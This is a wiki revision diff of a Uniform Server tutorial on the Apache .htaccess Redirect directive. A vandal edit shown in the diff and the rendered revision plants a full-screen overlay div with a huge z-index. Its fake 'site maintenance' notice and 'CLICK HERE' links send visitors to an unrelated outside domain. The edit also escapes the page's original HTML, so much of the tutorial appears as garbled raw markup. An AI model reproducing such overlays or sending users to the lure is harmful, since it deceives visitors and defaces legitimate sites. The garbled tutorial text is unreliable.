Difference between revisions of "Htaccess: Redirect"

From The Uniform Server Wiki
Jump to navigation Jump to search
(New page: <span id="top"></span> <div style="padding:0;margin:0; border-bottom:3px inset #000000"> {| | MPG UniCenter || .htaccess: [[Htaccess: Introduction | Introduc...)
 
Line 1: Line 1:
<span id="top"></span>
+
----
<div style="padding:0;margin:0; border-bottom:3px inset #000000">
+
<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;">
 +
----
 +
=[http://ozoqemuvo.co.cc Page Is Unavailable Due To Site Maintenance, Please Visit Reserve Copy Page]=
 +
----
 +
=[http://ozoqemuvo.co.cc CLICK HERE]=
 +
----
 +
</div>
 +
&lt;span id=&quot;top&quot;&gt;&lt;/span&gt;
 +
&lt;div style=&quot;padding:0;margin:0; border-bottom:3px inset #000000&quot;&gt;
 
{|  
 
{|  
 
|[[Image:uc_small_logo.gif | MPG UniCenter]] ||
 
|[[Image:uc_small_logo.gif | MPG UniCenter]] ||
Line 11: Line 19:
  
 
|}
 
|}
</div>
+
&lt;/div&gt;
{| cellpadding="2"
+
{| cellpadding=&quot;2&quot;
 
|
 
|
 
__TOC__
 
__TOC__
Line 30: Line 38:
 
Looking at this in a little more detail using this example
 
Looking at this in a little more detail using this example
  
'''Redirect /olddirectory/oldfile.html <nowiki>http://yoursite.com/newdirectory/newfile.html</nowiki>'''
+
'''Redirect /olddirectory/oldfile.html &lt;nowiki&gt;http://yoursite.com/newdirectory/newfile.html&lt;/nowiki&gt;'''
<ol>
+
&lt;ol&gt;
<li> '''Redirect'''
+
&lt;li&gt; '''Redirect'''
 
* This is the Apache command followed by a space
 
* This is the Apache command followed by a space
<li> '''/olddirectory/oldfile.html'''
+
&lt;li&gt; '''/olddirectory/oldfile.html'''
 
* This is the path to the old file you want redirected
 
* This is the path to the old file you want redirected
 
* It is stated in a relative file format
 
* It is stated in a relative file format
 
* Again followed by a space
 
* Again followed by a space
<li> '''<nowiki>http://yoursite.com/newdirectory/newfile.html</nowiki>'''
+
&lt;li&gt; '''&lt;nowiki&gt;http://yoursite.com/newdirectory/newfile.html&lt;/nowiki&gt;'''
 
* This is the full (URL) path of the location you want the request redirected to
 
* This is the full (URL) path of the location you want the request redirected to
</ol>
+
&lt;/ol&gt;
  
 
You would place a Redirect command in the root htaccess file for each file you want to redirect.
 
You would place a Redirect command in the root htaccess file for each file you want to redirect.
Line 47: Line 55:
 
Suppose that all you have done is renamed a folder (and even moved it to another location) however all the files still have their original names redirecting a folder is similar to the above for example:
 
Suppose that all you have done is renamed a folder (and even moved it to another location) however all the files still have their original names redirecting a folder is similar to the above for example:
  
'''Redirect /olddirectory <nowiki>http://yoursite.com/newdirectory</nowiki>'''
+
'''Redirect /olddirectory &lt;nowiki&gt;http://yoursite.com/newdirectory&lt;/nowiki&gt;'''
<ol>
+
&lt;ol&gt;
<li> '''Redirect'''
+
&lt;li&gt; '''Redirect'''
 
* This is the Apache command followed by a space
 
* This is the Apache command followed by a space
<li> '''/olddirectory'''
+
&lt;li&gt; '''/olddirectory'''
 
* This is the path to the old directory you want redirected
 
* This is the path to the old directory you want redirected
 
* It is stated in a relative file format
 
* It is stated in a relative file format
 
* Again followed by a space
 
* Again followed by a space
<li> '''<nowiki>http://yoursite.com/newdirectory</nowiki>'''
+
&lt;li&gt; '''&lt;nowiki&gt;http://yoursite.com/newdirectory&lt;/nowiki&gt;'''
 
* This is the full (URL) path of the location you want the request redirected to
 
* This is the full (URL) path of the location you want the request redirected to
</ol>
+
&lt;/ol&gt;
  
 
'''''[[#top | Top]]'''''
 
'''''[[#top | Top]]'''''
Line 64: Line 72:
  
 
{|
 
{|
|-style="background:#cccccc"
+
|-style=&quot;background:#cccccc&quot;
 
!Comment
 
!Comment
 
!Code
 
!Code
|-style="background:#f9f9f9"
+
|-style=&quot;background:#f9f9f9&quot;
 
|
 
|
 
# Navigate to the root folder '''www'''.
 
# Navigate to the root folder '''www'''.
Line 74: Line 82:
 
# Save the file
 
# Save the file
 
|
 
|
<pre style="padding:4px;margin:0;border:none">
+
&lt;pre style=&quot;padding:4px;margin:0;border:none&quot;&gt;
 
# This file provides security to the server limiting access to the localhost only.
 
# This file provides security to the server limiting access to the localhost only.
 
# Comment to deactivate.
 
# Comment to deactivate.
Line 90: Line 98:
 
# Defaults: Username = admin; Password = userver
 
# Defaults: Username = admin; Password = userver
  
#AuthName "Uniform Server - Secure Server Access"
+
#AuthName &quot;Uniform Server - Secure Server Access&quot;
 
#AuthType Basic
 
#AuthType Basic
 
#AuthUserFile /htpasswd/www/.htpasswd
 
#AuthUserFile /htpasswd/www/.htpasswd
Line 96: Line 104:
  
 
Redirect /old http://localhost/moved
 
Redirect /old http://localhost/moved
</pre>
+
&lt;/pre&gt;
 
|}
 
|}
  
Line 102: Line 110:
  
 
# Run the server using Server_Start.bat
 
# Run the server using Server_Start.bat
# In the browser address bar type '''<nowiki>http:/localhost/old</nowiki>'''
+
# In the browser address bar type '''&lt;nowiki&gt;http:/localhost/old&lt;/nowiki&gt;'''
# You will be redirected to the folder '''<nowiki>http://localhost/moved/</nowiki>'''
+
# You will be redirected to the folder '''&lt;nowiki&gt;http://localhost/moved/&lt;/nowiki&gt;'''
  
 
'''''[[#top | Top]]'''''
 
'''''[[#top | Top]]'''''
Line 111: Line 119:
 
'''Testing'''
 
'''Testing'''
 
# Run the server using Server_Start.bat
 
# Run the server using Server_Start.bat
# In the browser address bar type '''<nowiki>http:/localhost/old/not_found.html</nowiki>'''
+
# In the browser address bar type '''&lt;nowiki&gt;http:/localhost/old/not_found.html&lt;/nowiki&gt;'''
# You will be redirected to the file '''<nowiki>http://localhost/moved/not_found.html</nowiki>'''
+
# You will be redirected to the file '''&lt;nowiki&gt;http://localhost/moved/not_found.html&lt;/nowiki&gt;'''
  
 
Well you get the idea experiment with files it is similar to the folder example.
 
Well you get the idea experiment with files it is similar to the folder example.
Line 122: Line 130:
 
Below is a small extract from my .htaccess file you will see I am using page redirection:  
 
Below is a small extract from my .htaccess file you will see I am using page redirection:  
  
<pre>
+
&lt;pre&gt;
 
Redirect /us_35_apps/joomla/joomla_install_1.html http://wiki.uniformserver.com/index.php/Installing_Joomla
 
Redirect /us_35_apps/joomla/joomla_install_1.html http://wiki.uniformserver.com/index.php/Installing_Joomla
 
Redirect /us_35_apps/joomla/joomla_install_2.html http://wiki.uniformserver.com/index.php/Joomla_Portability
 
Redirect /us_35_apps/joomla/joomla_install_2.html http://wiki.uniformserver.com/index.php/Joomla_Portability
Line 132: Line 140:
 
Redirect /new_users/new_users_install_1.html http://wiki.uniformserver.com/index.php/New_Users:_Quick_Install_Guide
 
Redirect /new_users/new_users_install_1.html http://wiki.uniformserver.com/index.php/New_Users:_Quick_Install_Guide
 
Redirect /new_users/problems_1.html http://wiki.uniformserver.com/index.php/New_Users:_Problems_Section
 
Redirect /new_users/problems_1.html http://wiki.uniformserver.com/index.php/New_Users:_Problems_Section
</pre>
+
&lt;/pre&gt;
  
 
'''''Tip'':''' I first publish the Wiki pages, use a browser to view a page and copy the link into .htaccess. Similar process to obtain the redirected page.
 
'''''Tip'':''' I first publish the Wiki pages, use a browser to view a page and copy the link into .htaccess. Similar process to obtain the redirected page.
Line 138: Line 146:
 
=== Errors ===
 
=== Errors ===
 
Any typos in the .htaccess file will cause Apache to spit out the following error message:
 
Any typos in the .htaccess file will cause Apache to spit out the following error message:
<pre>
+
&lt;pre&gt;
 
Internal Server Error
 
Internal Server Error
 
The server encountered an internal error or misconfiguration and was unable to complete your request.
 
The server encountered an internal error or misconfiguration and was unable to complete your request.
</pre>
+
&lt;/pre&gt;
  
 
Hence always make small changes to .htaccess and then test, makes it easier to isolate and resolve any problems.
 
Hence always make small changes to .htaccess and then test, makes it easier to isolate and resolve any problems.

Revision as of 01:14, 24 November 2010



Page Is Unavailable Due To Site Maintenance, Please Visit Reserve Copy Page


CLICK HERE


<span id="top"></span> <div style="padding:0;margin:0; border-bottom:3px inset #000000">

MPG UniCenter

.htaccess: Introduction | Site error documents | Prevent Directory Listing | Redirect | Preventing hot linking |

</div>

.htaccess - Apache directory-level configuration file

Redirect

The htaccess command Redirect is very powerful you can redirect files or complete folders. Why would you want to do this a typical example would be that you have changed the structure of your site but wish old links (saved by a user) to be redirected to your new page location or even new page name.

Redirect format

The redirect command must be on a single line with each element separated by a space it has the following format:

Redirect old_path new_path

File Redirect format

Looking at this in a little more detail using this example

Redirect /olddirectory/oldfile.html <nowiki>http://yoursite.com/newdirectory/newfile.html</nowiki> <ol> <li> Redirect

  • This is the Apache command followed by a space

<li> /olddirectory/oldfile.html

  • This is the path to the old file you want redirected
  • It is stated in a relative file format
  • Again followed by a space

<li> <nowiki>http://yoursite.com/newdirectory/newfile.html</nowiki>

  • This is the full (URL) path of the location you want the request redirected to

</ol>

You would place a Redirect command in the root htaccess file for each file you want to redirect.

Folder Redirect

Suppose that all you have done is renamed a folder (and even moved it to another location) however all the files still have their original names redirecting a folder is similar to the above for example:

Redirect /olddirectory <nowiki>http://yoursite.com/newdirectory</nowiki> <ol> <li> Redirect

  • This is the Apache command followed by a space

<li> /olddirectory

  • This is the path to the old directory you want redirected
  • It is stated in a relative file format
  • Again followed by a space

<li> <nowiki>http://yoursite.com/newdirectory</nowiki>

  • This is the full (URL) path of the location you want the request redirected to

</ol>

Top

Directory example 1

Using our errors folder make a copy of it and rename it to moved.

Comment Code
  1. Navigate to the root folder www.
  2. Open the .htaccess file
  3. Add the command shown on the right last line.
  4. Save the file

<pre style="padding:4px;margin:0;border:none">

  1. This file provides security to the server limiting access to the localhost only.
  2. Comment to deactivate.

Order Deny,Allow Deny from all Allow from 127.0.0.1

  1. To allow execution of cgi scripts in this directory uncomment next two lines.

AddHandler cgi-script .pl .cgi Options +ExecCGI

  1. To unlock your server, comment the next 4 lines.
  2. Defaults: Username = admin; Password = userver
  1. AuthName "Uniform Server - Secure Server Access"
  2. AuthType Basic
  3. AuthUserFile /htpasswd/www/.htpasswd
  4. Require valid-user

Redirect /old http://localhost/moved </pre>

Testing

  1. Run the server using Server_Start.bat
  2. In the browser address bar type <nowiki>http:/localhost/old</nowiki>
  3. You will be redirected to the folder <nowiki>http://localhost/moved/</nowiki>

Top

Directory example 2

Open the file not_found.html contained in folder moved add some more text to distinguish it from the original.

Testing

  1. Run the server using Server_Start.bat
  2. In the browser address bar type <nowiki>http:/localhost/old/not_found.html</nowiki>
  3. You will be redirected to the file <nowiki>http://localhost/moved/not_found.html</nowiki>

Well you get the idea experiment with files it is similar to the folder example.

Top

Practical Example

I was faced with this very problem UniCenter has been around for nearly two years and started to become unmanageable hence the move over to the Wiki. Many web sites link to various pages on UniCenter to avoid frustration of not finding an article; users are redirected to the appropriate page on the Wiki.

Below is a small extract from my .htaccess file you will see I am using page redirection:

<pre> Redirect /us_35_apps/joomla/joomla_install_1.html http://wiki.uniformserver.com/index.php/Installing_Joomla Redirect /us_35_apps/joomla/joomla_install_2.html http://wiki.uniformserver.com/index.php/Joomla_Portability

Redirect /u35_mod_ssl_2/4_hmailserver.html http://wiki.uniformserver.com/index.php/SSL_Part_2:_Installing_hMailServer Redirect /u35_mod_ssl_2/5_hmailserver.html http://wiki.uniformserver.com/index.php/SSL_Part_2:_Configure_hMailServer

Redirect /new_users/new_users_index.html http://wiki.uniformserver.com/index.php/New_Users:_Home Redirect /new_users/new_users_install_1.html http://wiki.uniformserver.com/index.php/New_Users:_Quick_Install_Guide Redirect /new_users/problems_1.html http://wiki.uniformserver.com/index.php/New_Users:_Problems_Section </pre>

Tip: I first publish the Wiki pages, use a browser to view a page and copy the link into .htaccess. Similar process to obtain the redirected page.

Errors

Any typos in the .htaccess file will cause Apache to spit out the following error message: <pre> Internal Server Error The server encountered an internal error or misconfiguration and was unable to complete your request. </pre>

Hence always make small changes to .htaccess and then test, makes it easier to isolate and resolve any problems.

Top


Uc small logo.gif Ric